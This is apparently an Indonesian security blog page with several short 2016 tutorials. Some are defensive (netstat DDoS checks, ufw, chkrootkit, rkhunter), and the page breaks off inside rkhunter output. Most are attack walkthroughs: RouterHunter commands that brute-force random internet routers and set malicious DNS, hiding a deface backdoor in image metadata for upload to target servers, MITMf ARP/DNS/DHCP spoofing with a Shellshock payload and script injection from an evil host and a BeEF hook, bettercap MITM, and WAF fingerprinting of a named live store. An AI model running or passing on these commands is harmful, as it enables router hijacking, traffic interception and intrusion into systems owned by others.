Mudahnya Mencari Exploit Dengan Searchsploit di Linux

November 29, 2016 1 Comment
Yang suka bermain-main dengan exploit mestinya tau dengan Exploit-db yak exploit-db merupakan website yang menyediakan kumpulan dari beberapa kerentanan dan code exploit dari seluruh dunia, Seiring berjalannya waktu, pihak developer exploit-db membuat tools opensource untuk mempermudah pengguna exploit-db agar user mudah mengakakses tanpa masuk ke website exploit-db tersebut.


Searchsploit merupakan sebuah tools security opensource yang menyimpan berkas-berkas exploit yang ada pada exploit-db, hal ini agar kita mudah mengakses exploit yang ada di exploit-db tanpa masuk ke situs eploit-db yang saya jelaskan tadi di awal.

Installasi  

Pada sistem Unix, semua yang kalian perlukan adalah baik "coreutils" atau "utilitas" (mis bash, sed, grep, awk, dll), serta "git". Ini diinstal secara default pada banyak distribusi Linux yang berbeda, termasuk OS X / MacOS.

 git clone https://github.com/offensive-security/exploit-database.git /opt/exploit-database
 

Langkah opsional yang akan membuat menggunakan SearchSploit mudah adalah dengan memasukkannya ke dalam $ PATH.
Contoh: Pada output berikut, kalian dapat melihat bahwa direktori "/usr/local/bin" termasuk dalam variabel lingkungan $ PATH.

 root# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
root#
 

Gunakan perintah dibawah ini agar kalian dapat membuat link simbolik dalam "/usr/local/bin" direktori yang menunjuk ke searchsploit, memungkinkan kalian untuk menjalankannya tanpa memberikan path lengkap.

 root# ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit
root# 

Jika sudah selesai install kemudian update searchsploit kalian.

 root# searchsploit -u 

Untuk melihat opsi-opsi tools searchsploit ketik "searchsploit -h"

 root# searchsploit -h 

Penggunaan

Contoh mencari exploit di searchsploit


Dilihat dari gambar jelas keterangannya nama exploit Oracle, dibuat dengan code c dan ruby, exploitnya untuk windows dan letaknya di /opt/exploit-database/platforms. Sekian dari saya selamat mencoba dan selamat malam Good Luck!!!



Deteksi Firewall (WAF) Pada Suatu Website Dengan Tools WafW00f di Linux

November 27, 2016 1 Comment
Udah lama gak update semenjak keluar dari dunia persilatan haha, Kali ini saya akan share tutorial sederhana "Deteksi Firewall (WAF) Pada Suatu Website Dengan Tools WafW00f di Linux" ada yang tau apa itu WAF mestinya kalau anda seorang pentester sudah tau dong apa itu WAF, Namun bagi kalian yang belum tau apa itu WAF coba baca lagi di WAFwikipedia[dot]org. Oke selanjutanya saya akan bahas mengenai toolsnya.


WafW00f
  • WAFW00F sebuah tools yang fungsinya untuk mengidentifikasi Application Firewall (WAF)  dan produk sidik jari Web.
Cara Kerja WafW00f
  • Mengirimkan permintaan HTTP normal dan menganalisa respon; ini mengidentifikasi sejumlah solusi WAF
  • Jika itu tidak berhasil, ia akan mengirimkan jumlah permintaan (berpotensi berbahaya) HTTP dan menggunakan logika sederhana untuk menyimpulkan WAF
  • Jika itu juga tidak berhasil, WafW00f akan menganalisis tanggapan sebelumnya dikembalikan dan menggunakan algoritma sederhana lain untuk menebak jika WAF atau solusi keamanan secara aktif menanggapi serangan
Deteksi Jumlah WAF

Berikut output untuk mendeteksi jenis-jenis WAF pada tools WafW00f keluarannya.
  • Profense
  • NetContinuum
  • Incapsula WAF
  • CloudFlare
  • NSFocus
  • Safedog
  • Mission Control Application Shield
  • USP Secure Entry Server
  • Cisco ACE XML Gateway
  • Barracuda Application Firewall
  • Art of Defence HyperGuard
  • BinarySec
  • Teros WAF
  • F5 BIG-IP LTM
  • F5 BIG-IP APM
  • F5 BIG-IP ASM
  • F5 FirePass
  • F5 Trafficshield
  • InfoGuard Airlock
  • Citrix NetScaler
  • Trustwave ModSecurity
  • IBM Web Application Security
  • IBM DataPower
  • DenyALL WAF
  • Applicure dotDefender
  • Juniper WebApp Secure
  • Microsoft URLScan
  • Aqtronix WebKnight
  • eEye Digital Security SecureIIS
  • Imperva SecureSphere
  • Microsoft ISA Server
Installasi

Untuk menginstall tools tersebut kamu tinggal pilih script di bawah ini.

 python setup.py install 

 pip install wafw00f 

Untuk installasi di ubuntu gunakan perintah berikut

 sudo pip install wafw00f 

Contoh Penggunaan

Target saya disini sebuah website perbelanjaan www.salsastore.com saya ingin menguji apakah website tersebut terdapat firewal WAF atau tidak dan ketika di check.


Ternyata website tersebut menggunakan firewall WAF produk dari Ibm Security. Nah jika sudah ketahuan terserah kalian mau ngapain website yang kalian incar mungkin mau bypass waf atau apalah terserah kalian. Selamat mencoba Good Luck!!

Router Hunter Tools Hack Router Power Full In Linux

November 18, 2016 Add Comment
Kemarin sudah bahas tentang tools hack router (Routersploit) di linux, Kali ini saya akan bahas sama juga mengenai tools hack router (Routerhunter) juga di linux.


Sekilas tentang Routerhunter merupakan alat keamanan otomatis di ciptakan oleh Jhonathan Davi A.K.A jh00nbr yang di gunakan untuk menemukan kerentanan dan melakukan tes pada router dan perangkat rentan di Internet. Routerhunter dirancang untuk mencari ips trek yang sudah ditentukan atau acak, secara otomatis mengeksploitasi DNSChanger dan kerentanan pada router.

Download: Github

Penggunaan

  -range 192.168.1.0-255, --range 192.168.1.0-255  Set range of IP
  -bruteforce, --bruteforce                        Performs brute force with users and passwords standards, and soon    after defines the malicious DNS.
  -startip 192.168.*.*, --startip 192.168.*.*      Start - IP range customized with wildcard / 201.*.*.*
  -endip 192.168.*.*, --endip 192.168.*.*          End - IP range customized with wildcard / 201.*.*.*
  -dns1 8.8.8.8, --dns1 8.8.8.8                    Define malicious dns1
  -dns2 8.8.4.4, --dns2 8.8.4.4                    Define malicious dns2
  --threads 10                                     Set threads numbers
  -rip, --randomip                                 Randomizing ips routers
  -lmtip 10, --limitip 10                          Define limite random ip 

Dasar perintah exploitasi

Exploit random ips

 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10                      
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10
 

Scanner di range ip

 Tpython routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10
 

Kisaran IP disesuaikan dengan wildcard / Ex: --startip 201.*.*.* -  --endip 201.*.*.*

 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10 

Brute force dengan pengguna password pada router yang memerlukan otentikasi, memaksa perubahan dns

 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10 

Sekian dari saya selamat mencoba Good Luck!!

Cara Memverifikasi Serangan Ddos Dengan Perintah Netstat Pada Terminal Linux

November 15, 2016 2 Comments


Denial-of-service attack (DoS) atau Distributed Denial-of-service attack (DDoS) adalah suatu usaha untuk membuat sebuah mesin atau jaringan menjadi lumpuh agar tidak di bisa diakses terutama oleh client.

Serangan ini umumnya menargetkan situs atau layanan host server (web) seperti bank, gateway, pembayaran kartu kredit, atau bahkan name server root. 

Serangan DoS diimplementasikan dengan baik memaksa komputer ditargetkan untuk me-reset, atau mengkonsumsi sumber daya sehingga tidak bisa lagi memberikan layanan atau menghalangi media komunikasi antara pengguna dan korban sehingga mereka tidak bisa lagi berkomunikasi secara memadai.

Kali ini saya akan menunjukkan kepada kalian cara memeriksa apakah server kalian sedang di serang atau tidak, Dengan perintah "Netstat" maka kalian akan mengetahuinya.

Berikut contohnya

 amrul@root:~$ netstat -na 

Tampilkan semua koneksi internet aktif untuk server dan koneksi untuk lainnya

 amrul@root:~$ netstat -an | grep :80 | sort 

Tampilkan hanya koneksi internet aktif ke server pada port 80, ini adalah port http dan jadi berguna jika kalian memiliki web server, dan mengurutkan hasil. Juga berguna dalam mendeteksi banjir tunggal dengan memungkinkan kamu untuk mengenali banyak koneksi yang berasal dari satu IP.

 amrul@root:~$ netstat -n -p|grep SYN_REC | wc -l 

Perintah ini berguna untuk mengetahui berapa banyak yang aktif SYNC_REC yang terjadi pada server. Jumlah tersebut harus cukup rendah, sebaiknya kurang dari 5. Pada insiden serangan DoS atau bom mail, nomor dapat melompat cukup tinggi. Namun, nilai selalu tergantung pada sistem, sehingga nilai tinggi mungkin rata-rata pada server lain.

 amrul@root:~$ netstat -n -p | grep SYN_REC | sort -u 

Daftar keluar semua alamat IP yang terlibat bukan hanya menghitung.

 amrul@root:~$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}' 

Daftar semua alamat IP yang unik node yang mengirim status koneksi SYN_REC.

 amrul@root:~$ netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n 

Gunakan perintah netstat untuk menghitung dan menghitung jumlah koneksi setiap alamat IP membuat ke server.

 amrul@root:~$ netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n 

Count daftar jumlah koneksi IP yang terhubung ke server menggunakan protokol TCP atau UDP.

 amrul@root:~$ netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr 

Memeriksa koneksi semua koneksi  established, dan menampilkan koneksi menghitung untuk setiap Ip.

 amrul@root:~$ netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1 

Tampilkan alamat daftar IP dan jumlah koneksi yang terhubung ke port 80 pada server. Port 80 digunakan terutama oleh permintaan halaman web HTTP.

Bagaimana untuk mengurangi serangan dos

Setelah menemukan IP yang menyerang server, kamu dapat menggunakan perintah berikut untuk memblokir koneksi mereka ke server

 iptables -A INPUT 1 -s $IPADRESS -j DROP/REJECT 

Harap diingat bahwa kamu harus mengganti ip address dengan nomor IP yang telah ditemukan dengan netstat.

Setelah menembakkan perintah tersebut, disconekkan semua koneksi httpd untuk membersihkan sistem kamu dari layanan restart httpd. Sekian dari saya selamat mencoba Good Luck!!!

Teknik Menyembunyikan Pesan Dengan Tools Steghide (Steganografi) di Linux

November 15, 2016 Add Comment
Dikutip dari wikipedia.org Steganografi adalah seni dan ilmu menulis pesan tersembunyi atau menyembunyikan pesan dengan suatu cara sehingga selain si pengirim dan si penerima, tidak ada seorangpun yang mengetahui atau menyadari bahwa ada suatu pesan rahasia. Sebaliknya, kriptografi menyamarkan arti dari suatu pesan, tapi tidak menyembunyikan bahwa ada suatu pesan. 



Sekilas Tools Steghide

Steghide adalah program steganografi yang mampu menyembunyikan data dalam berbagai macam Image- dan audio file. The warna-respectivly sampel frekuensi tidak berubah sehingga membuat embedding tahan terhadap uji statistik orde pertama.

Fitur:
  • kompresi data tertanam
  • enkripsi data tertanam
  • embedding dari checksum untuk memverifikasi integritas data ekstrak
  • dukungan untuk JPEG, BMP, WAV dan AU file

Menyembunyikan Pesan

Untuk menyembunyikan pesan dalam gambar cukuplah mudah yang pertama terlebih dahulu download toolsnya kemudian install 

Siapkan dua metode untuk praktek (teks yang berisi pesan) dan (foto sebagai media penyimpanan) 


Syntax

 amrul@root:~$ steghide embed -cf fotoyangdigunakan -ef pesanyangdipakai 

Jika sudah disediakan metodenya, penggunaanya seperti berikut

 amrul@root:~$ steghide embed -cf cewekcantik.jpg -ef duniaperetas.txt

Tambahkan password jika kamu ingin menambahkan password jika tidak next aja


Menampilkan Pesan

Untuk menampilkan pesan cukuplah mudah "syntaxnya" seperti berikut

 amrul@root:~$ steghide extract -sf fileyangsudahdibuat

Contoh penggunaan

amrul@root:~$ steghide extract -sf cewekcantik.jpg

Maka hasilnya seperti gambar dibawah untuk menampilkan isi pesan gunakan media cat


Sekian tutorial teknik menyembunyikan pesan dengan tools steghide di linux apa bila ada kesalahan atau penulisan mohon maaf sebesar-besarnya selamat siang dan selamat mencoba Good Luck!!


Hidden Backdoor atau Pesan di Dalam Foto Dengan Tools Jhead di Linux

November 12, 2016 Add Comment
Iseng-iseng gg ada kerjaan, terpikirkan di benak ingin menulis sebuah tutorial sederhana namun sangat bermanfaat.


Alat ini sangat berguna banget khususnya bagi tukang deface yang masih newbie bingung mau nyembunyikan backdoor agar bisa ke upload di server target, dengan alat ini kamu bisa menyembunyikan backdoor agar mudah menguploadnya. Tutorial ini juga bersifat steganography (menyembunyikan pesan).

Install dulu toolsnya

 root% sudo apt-get install jhead 

Selanjutnya check dulu foto yang akan kita pasang backdoor atau pesan di dalamnya

 root% jhead /home/amrul/Desktop/cewekcantik.jpg 

Ternyata terdapat pesan seperti ini


Jika terdapat backdoor atau pesan seperti gambar diatas terlebih dahulu kita hapus dengan perintah

 root% jhead -purejpg /home/amrul/Desktop/cewekcantik.jpg 

Jika sudah berhasil menghapus backdoor atau pesan, Maka hasilnya akan  seperti gambar ini


Tahap selanjutnya kita pasang backdoor atau pesan pada gambar yang kita inginkan perintahnya. 

 root% jhead -ce /home/amrul/Desktop/cewekcantik.jpg 

Perintah diatas di gunakan untuk memasang backdoor atau pesan dengan vim editor, pasang backdoor atau tulis pesan kalian, jika ingin menyimpan klik tombol Esc dan ketikkan perintah :x maka hasilnya seperti gambar berikut



Check kembali apakah backdoor atau pesan sudah terpasanng

 root% jhead /home/amrul/Desktop/cewekcantik.jpg 

Selamat backdoor atau pesan kalian sudah terpasang


Pesan dari saya jangan suka deface website orang karena bangun website itu susah, baca ethical hacking agar tau hacking itu sebenarnya seperti apa dan selamat mencoba 

Installasi dan Basic Exploitasi Tools Mitmf di Linux

November 12, 2016 4 Comments
MITMf merupakan sebuah tools penetration testing yang fungsinya untuk serangan Man-In-The-Middle attack.



Fitur-Fitur

Kerangka kerja ini berisi built-in SMB, HTTP dan DNS server yang dapat dikendalikan dan digunakan oleh berbagai plugin, itu juga berisi versi modifikasi dari proxy SSLStrip yang memungkinkan untuk HTTP modifikasi dan HSTS memotong parsial.

Pada versi 0.9.8, MITMf mendukung penyaringan paket aktif dan manipulasi (pada dasarnya apa yang etterfilters lakukan, hanya lebih baik), yang memungkinkan pengguna untuk mengubah jenis lalu lintas atau protokol.

File konfigurasi dapat diedit on-the-fly sementara MITMf berjalan, perubahan akan diturunkan melalui kerangka: ini memungkinkan Kamu untuk men-tweak pengaturan plugin dan server saat melakukan serangan.

MITMf akan menangkap FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (string masyarakat), NTLMv1/v2 (semua protokol didukung seperti HTTP, SMB, LDAP dll) dan kredensial Kerberos dengan menggunakan Net-creds, yang berjalan pada memulai. sumber: Mitmf

Installasi

Jika kalian berada pada debian, ubuntu dan kali linux jalan script berikut

 root# apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file 

Kemudian juga jalankan script berikut di terminal  

 root# git clone https://github.com/byt3bl33d3r/MITMf 

Kemudian masuk ke directory tempat filenya berada dengan cara jalankan perintah di bawah

 root# cd MITMf && git submodule init && git submodule update --recursive 

Sebelum memulai installasi hendaknya kita harus berada pada mode super user kemudian install

 root# pip install -r requirements.txt 

Succses!! tools Mitmf sudah terinstall



Documentasi Exploitasi

Penggunaan yang paling dasar, dimulai exploitasi dengan proxy HTTP SMB, DNS, server HTTP dan Net-creds pada antarmuka enp3s0

 root# python mitmf.py -i enp3s0 

ARP meracuni seluruh subnet dengan gateway di 192.168.1.1 menggunakan plugin Spoof

 root# python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Sama seperti di atas + server proxy WPAD nakal menggunakan plugin Responder

 root# python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad 

Racuni Arp 192.168.1.16-45 dan 192.168.0.1/24 dengan gateway di 192.168.1.1

 root# python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1 

Aktifkan DNS spoofing dan racuni ARP (Domain untuk menipu ditarik dari file config)

 root# python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1 

Aktifkan LLMNR / NBTNS / mDNS spoofing

 root# python mitmf.py -i enp3s0 --responder --wredir --nbtns 

Aktifkan DHCP spoofing (ip kolam renang dan subnet ditarik dari file config)

 root# python mitmf.py -i enp3s0 --spoof --dhcp 

Sama seperti di atas dengan muatan SHELLSHOCK yang akan dijalankan jika ada klien yang rentan

 root# python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d' 

Menyuntikkan iFrame HTML menggunakan plugin Inject

 root# python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com 

Menyuntikkan skrip JS

 root# python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js 

Itulah contoh installasi dan dasar exploitasi tools mitmf di linux sytem, Ingat!! gunakan dengan bijak.

Basic Atau Dasar Exploitasi Bettercap Command Tutorial di Linux

November 11, 2016 Add Comment

Sekilas tentang tools bettercap, Bettercap adalah alat yang ampuh, fleksibel dan portabel dibuat untuk melakukan berbagai jenis serangan MITM terhadap jaringan, memanipulasi HTTP, HTTPS dan lalu lintas TCP secara realtime, mengendus untuk kredensial dan banyak lagi.

Berikut contoh-contoh exploitasi dengan tools bettercap

Script di bawah ini contoh untuk exploitasi  target secara spesifik

 root% sudo bettercap -T 192.168.1.10,192.168.1.11 

Script exploitasi macaddress secara spesifik

 root% sudo bettercap -T 01:23:45:67:89:10 

Exploitasi ip address secara spesifik

 sudo bettercap -T 192.168.1.1-30 

Exploitasi subnet

 sudo bettercap -T 192.168.1.1/24 

Script exploitasi macaddress secara acak

 sudo bettercap --random-mac 

Check semua perintah yang ada

 root% sudo bettercap --help 

Sampel diatas tersebut merupakan contoh dasar dalam kasus exploitasi jaringan, Kamu bisa menggabungkan beberapa perintah yang ada pada opsi tools bettercap sesuai dengan keinginan kamu semoga artikel ini bermanfaat Good Luck!!!!

Install dan Pasang Firewall Ufw di Linux

October 27, 2016 Add Comment
Sebenaranya banyak software firewall untuk linux, namun saya akan membahas 1 firewall yang sering di pakai oleh para pengguna Linux khususnya Linux Ubuntu.



Ufw merupakan sebuah front-end untuk iptables yang sangat cocok untuk firewall berbasis host terutama Linux. Ufw sendiri di kembangkan untuk farian linux (Ubuntu) namun saat ini Ufw mendukung distro Linux seperti linux Mint, Centos, Backtrack dan distribusi Linux lainnya, dan Dulu firewall Ufw dapat di konfigurasi melalui Terminal Linux namun semakin Giatnya pengembang Linux Firewall Ufw sekarang ada yang berbasis Gui.

Sebelum memulai install terlebih dahulu Firewall Ufw, Untuk distribusi Linux khususnya Ubuntu, bisa install melalui terminal.

sudo apt-get install ufw

Mengaktifkan/Memasang Ufw Firewall

sudo ufw enable

Untuk mengaktifkan Firewall Ufw gunakan perintah berikut

sudo ufw status verbose

Sehingga hasil keluaran seperti ini

root@ubuntu:~$ sudo ufw status verbose
[sudo] password for youruser:
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing)
New profiles: skip
root@ubuntu:~$


Coba perhatikan bahwa secara default, sedang diterapkan menolak untuk masuk. Ada pengecualian, yang dapat ditemukan dalam output dari perintah ini

sudo ufw show raw
Kamu juga dapat membaca file aturan di  /etc/ufw (file yang namanya berakhir dengan .rules).

Menonaktifkan Firewall Ufw

sudo ufw disable

Allow dan Deny (spesifik rules)

Allow

sudo ufw allow <port>/<optional: protocol>

Contoh: Untuk mengijinkan tcp masuk dan packet udp pada port 53

sudo ufw allow 53

Contoh: Untuk mengijinkan packet tcp masuk pada port 53

sudo ufw allow 53/tcp

Contoh: Untuk mengijinkan packet udp masuk pada port 53

sudo ufw allow 53/udp

Deny


sudo ufw deny <port>/<optional: protocol>

Contoh: Untuk menolak tcp dan udp pada port 53

sudo ufw deny 53

Contoh: Untuk menolak paket tcp masuk pada port 53

sudo ufw deny 53/tcp

Contoh: Untuk menolak paket udp masuk pada port 53

sudo ufw deny 53/udp

Menghapus semua setting yang pernah ada

sudo ufw deny 80/udp

Contoh: Hapus menolak port 80 yang berjalan pada udp

sudo ufw delete deny 80/udp

Mengecek/Service status Ufw 

Memeriksa status ufw akan memberitahu Kamu jika ufw diaktifkan atau dinonaktifkan dan juga daftar aturan ufw saat diterapkan pada iptables Kamu

Perintah
sudo ufw status

Firewall loaded

To                         Action  From
--                         ------  ----
22:tcp                     DENY    192.168.0.1
22:udp                     DENY    192.168.0.1
22:tcp                     DENY    192.168.0.7
22:udp                     DENY    192.168.0.7
22:tcp                     ALLOW   192.168.0.0/24
22:udp                     ALLOW   192.168.0.0/24


Sekian dari saya semoga bermanfaat.

Deteksi Rootkit Dengan Tools Chkrootkit di linux Sytem Kamu

October 12, 2016 Add Comment
Kemarin yang di bahas mengenai cara scanner Rootkit di linux sytem dengan Rkhunter tapi pada Malam hari ini admin dunia peretas akan bahas cara scanner Rootkit dengan Chkrootkit sebenarnya tools ini sama halnya fungsinya dengan Rkhunter untuk lebih lanjut kalian bisa BACA DI:WIKIPEDIA


Sebelum memulai scanner download terlebih dahulu chkrootkinya DOWNLOAD 
Check telebih dahulu opsi2 yang ada pada toolsnya. 
root# chkrootkit --help Usage: /usr/sbin/chkrootkit [options] [test ...] Options: -h show this help and exit -V show version information and exit -l show available tests and exit -d debug -q quiet mode -x expert mode -e exclude known false positive files/dirs, quoted, space separated, READ WARNING IN README -r dir use dir as the root directory -p dir1:dir2:dirN path for the external commands used by chkrootkit -n skip NFS mounted dirs root# chkrootkit
Contoh scanner
root# chkrootkit ROOTDIR is `/' Checking `amd'... not found Checking `basename'... not infected Checking `biff'... not found Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `crontab'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected Checking `echo'... not infected Checking `egrep'... not infected Checking `env'... not infected Checking `find'... not infected Checking `fingerd'... not found Checking `gpm'... not found Checking `grep'... not infected Checking `hdparm'... not infected Checking `su'... not infected Checking `ifconfig'... not infected Checking `inetd'... not infected Checking `inetdconf'... not found Checking `identd'... not found Checking `init'... not infected Checking `killall'... not infected Checking `ldsopreload'... not infected Checking `login'... not infected Checking `ls'... not infected Checking `lsof'... not infected Checking `mail'... not infected Checking `mingetty'... not found Checking `netstat'... not infected Checking `named'... not found Checking `passwd'... not infected Checking `pidof'... not infected Checking `pop2'... not found Checking `pop3'... not found Checking `ps'... not infected Checking `pstree'... not infected Checking `rpcinfo'... not infected Checking `rlogind'... not found Checking `rshd'... not found Checking `slogin'... not infected Checking `sendmail'... not infected Checking `sshd'... not found Checking `syslogd'... not tested Checking `tar'... not infected Checking `tcpd'... not infected Checking `tcpdump'... not infected Checking `top'... not infected Checking `telnetd'... not found Checking `timed'... not found Checking `traceroute'... not infected Checking `vdir'... not infected Checking `w'... not infected Checking `write'... not infected
Searching for LPD Worm files and dirs...                    nothing found
Searching for Ramen Worm files and dirs...                  nothing found
Searching for Maniac files and dirs...                      nothing found
Searching for RK17 files and dirs...                        nothing found
Searching for Ducoci rootkit...                             nothing found
Searching for Adore Worm...                                 nothing found
Searching for ShitC Worm...                                 nothing found
Searching for Omega Worm...                                 nothing found
Searching for Sadmind/IIS Worm...                           nothing found
Searching for MonKit...                                     nothing found
Searching for Showtee...                                    nothing found
Searching for OpticKit...                                   nothing found
Searching for T.R.K...                                      nothing found
Searching for Mithra...                                     nothing found
Searching for LOC rootkit...                                nothing found
Searching for Romanian rootkit...                           nothing found
Searching for Suckit rootkit...                             nothing found
Searching for Volc rootkit...                               nothing found
Searching for Gold2 rootkit...                              nothing found
Searching for TC2 Worm default files and dirs...            nothing found
Searching for Anonoying rootkit default files and dirs...   nothing found
Searching for ZK rootkit default files and dirs...          nothing found
Searching for ShKit rootkit default files and dirs...       nothing found
Searching for AjaKit rootkit default files and dirs...      nothing found
Searching for zaRwT rootkit default files and dirs...       nothing found
Searching for Madalin rootkit default files...              nothing found
Searching for Fu rootkit default files...                   nothing found
Searching for ESRK rootkit default files...                 nothing found
Searching for rootedoor...                                  nothing found
Searching for ENYELKM rootkit default files...              nothing found
Searching for common ssh-scanners default files...          nothing found
Searching for Linux/Ebury - Operation Windigo ssh...        Possible Linux/Ebury - Operation Windigo installetd
Searching for 64-bit Linux Rootkit ...                      nothing found
Searching for 64-bit Linux Rootkit modules...               nothing found
Searching for suspect PHP files...                          nothing found
Searching for anomalies in shell history files...           nothing found
Checking `asp'...                                           not infected
Checking `bindshell'...                                     INFECTED (PORTS:  465 6667)
Checking `lkm'...                                           chkproc: nothing detected


Jika ada infeksi maka nampak seperti pada script yang saya POSt

Rkhunter Alat Scanner Rootkit dI Linux

October 09, 2016 Add Comment
Rootkit: sebuah perangkat lunak yang bertujuan untuk menyembunyikan prosses, berkas dan data system yang sedang berjalan dari sytem operasi Tempat dia tinggal. Kit-akar awalnya berupa aplikasi yang tidak berbahaya, tetapi belakangan ini telah banyak digunakan oleh perangkat perusak yang ditujukan untuk membantu penyusup menjaga tindakan mereka yang ke dalam sistem agar tidak terlacak. Kit-akar hadir di beragam sistem operasi seperti, Linux, Solaris dan Microsoft Windows. Kit-akar ini sering mengubah bagian dari sistem operasi dan juga memasang dirinya sendiri sebagai penggerak atau modul inti.

Kata "rootkit" terdengar di telinga publik bermula pada skandal Sony BMG CD Copy Protection, di mana cakram padat yang dibuat Sony BMG music meletakkan sebuah kit-akar di PC Microsoft Windows pada saat pengguna memutar cakram padat di komputer mereka. Sony sebelumnya tidak memperingatkan kepada pengguna akan hal ini di dalam cakram padat mereka maupun di dalam kemasannya. Baca lebih lanjut tentang: Rootkit

Scanner malware dengan rootkit hunter


Sekilas tentang rootkit hunter: rkhunter (Rootkit Hunter) Sebuah alat yang berbasis Unix yang fungsinya untuk scanner rootkit , backdoors dan mungkin lokal eksploitasi . Hal ini dilakukan dengan membandingkan SHA-1 hash dari file-file penting dengan dikenal yang baik di database online, mencari direktori default (rootkit), perizinan yang salah, file tersembunyi, string mencurigakan di modul kernel , dan tes khusus untuk Linux dan FreeBSD .

Alat ini telah ditulis dalam Bourne shell, untuk memungkinkan portabilitas. Hal ini dapat berjalan pada sistem hampir semua UNIX yang diturunkan. Sumber:wikipedia

INSTALL: RKHUNTER

Fitur dari Rkhunter:

root# rkhunter -h 
Usage: rkhunter {--check | --unlock | --update | --versioncheck |
                 --propupd [{filename | directory | package name},...] |
                 --list [{tests | {lang | languages} | rootkits | perl | propfiles}] |
                 --config-check | --version | --help} [options]
Current options are:
         --append-log                  Append to the logfile, do not overwrite
         --bindir <directory>...       Use the specified command directories
     -c, --check                       Check the local system
     -C, --config-check                Check the configuration file(s), then exit
  --cs2, --color-set2                  Use the second color set for output
         --configfile <file>           Use the specified configuration file
         --cronjob                     Run as a cron job
                                       (implies -c, --sk and --nocolors options)
         --dbdir <directory>           Use the specified database directory
         --debug                       Debug mode
                                       (Do not use unless asked to do so)
         --disable <test>[,<test>...]  Disable specific tests
                                       (Default is to disable no tests)
         --display-logfile             Display the logfile at the end
         --enable  <test>[,<test>...]  Enable specific tests
                                       (Default is to enable all tests)
         --hash {MD5 | SHA1 | SHA224 | SHA256 | SHA384 | SHA512 |
                 NONE | <command>}     Use the specified file hash function
                                       (Default is SHA1, then MD5)
     -h, --help                        Display this help menu, then exit
 --lang, --language <language>         Specify the language to use
                                       (Default is English)
         --list [tests | languages |   List the available test names, languages,
                 rootkits | perl |     rootkit names, perl module status
                 propfiles]            or file properties database, then exit
     -l, --logfile [file]              Write to a logfile
                                       (Default is /var/log/rkhunter.log)
         --noappend-log                Do not append to the logfile, overwrite it
         --nocf                        Do not use the configuration file entries
                                       for disabled tests (only valid with --disable)
         --nocolors                    Use black and white output
         --nolog                       Do not write to a logfile
--nomow, --no-mail-on-warning          Do not send a message if warnings occur
   --ns, --nosummary                   Do not show the summary of check results
 --novl, --no-verbose-logging          No verbose logging
         --pkgmgr {RPM | DPKG | BSD |  Use the specified package manager to obtain or
                   SOLARIS | NONE}     verify file property values. (Default is NONE)
         --propupd [file | directory | Update the entire file properties database,
                    package]...        or just for the specified entries
     -q, --quiet                       Quiet mode (no output at all)
  --rwo, --report-warnings-only        Show only warning messages
   --sk, --skip-keypress               Don't wait for a keypress after each test
         --summary                     Show the summary of system check results
                                       (This is the default)
         --syslog [facility.priority]  Log the check start and finish times to syslog
                                       (Default level is authpriv.notice)
         --tmpdir <directory>          Use the specified temporary directory
         --unlock                      Unlock (remove) the lock file
         --update                      Check for updates to database files
   --vl, --verbose-logging             Use verbose logging (on by default)
     -V, --version                     Display the version number, then exit
         --versioncheck                Check for latest version of program
     -x, --autox                       Automatically detect if X is in use
     -X, --no-autox                    Do not automatically detect if X is in use
Scanner rootkit secara menyeluruh
[ Rootkit Hunter version 1.4.2 ] Checking system commands... Performing 'strings' command checks Checking 'strings' command [ OK ] Performing 'shared libraries' checks Checking for preloading variables [ None found ] Checking for preloaded libraries [ None found ] Checking LD_LIBRARY_PATH variable [ Not found ] Performing file properties checks Checking for prerequisites [ OK ] /usr/sbin/adduser [ OK ] /usr/sbin/chroot [ OK ] /usr/sbin/cron [ OK ] /usr/sbin/groupadd [ OK ] /usr/sbin/groupdel [ OK ] /usr/sbin/groupmod [ OK ] /usr/sbin/grpck [ OK ] /usr/sbin/ifstatus [ Warning ] /usr/sbin/nologin [ OK ] /usr/sbin/pwck [ OK ] /usr/sbin/rsyslogd [ OK ] /usr/sbin/tcpd [ OK ] /usr/sbin/useradd [ OK ] /usr/sbin/userdel [ OK ] /usr/sbin/usermod [ OK ] /usr/sbin/vipw [ OK ] /usr/sbin/unhide [ OK ] /usr/sbin/unhide-linux [ OK ] /usr/sbin/unhide-posix [ OK ] /usr/sbin/unhide-tcp [ OK ] /usr/bin/awk [ OK ] /usr/bin/basename [ OK ] /usr/bin/chattr [ OK ] /usr/bin/curl [ OK ] /usr/bin/cut [ OK ] /usr/bin/diff [ OK ] /usr/bin/dirname [ OK ] /usr/bin/dpkg [ OK ] /usr/bin/dpkg-query [ OK ] /usr/bin/du [ OK ] /usr/bin/elinks [ OK ] /usr/bin/env [ OK 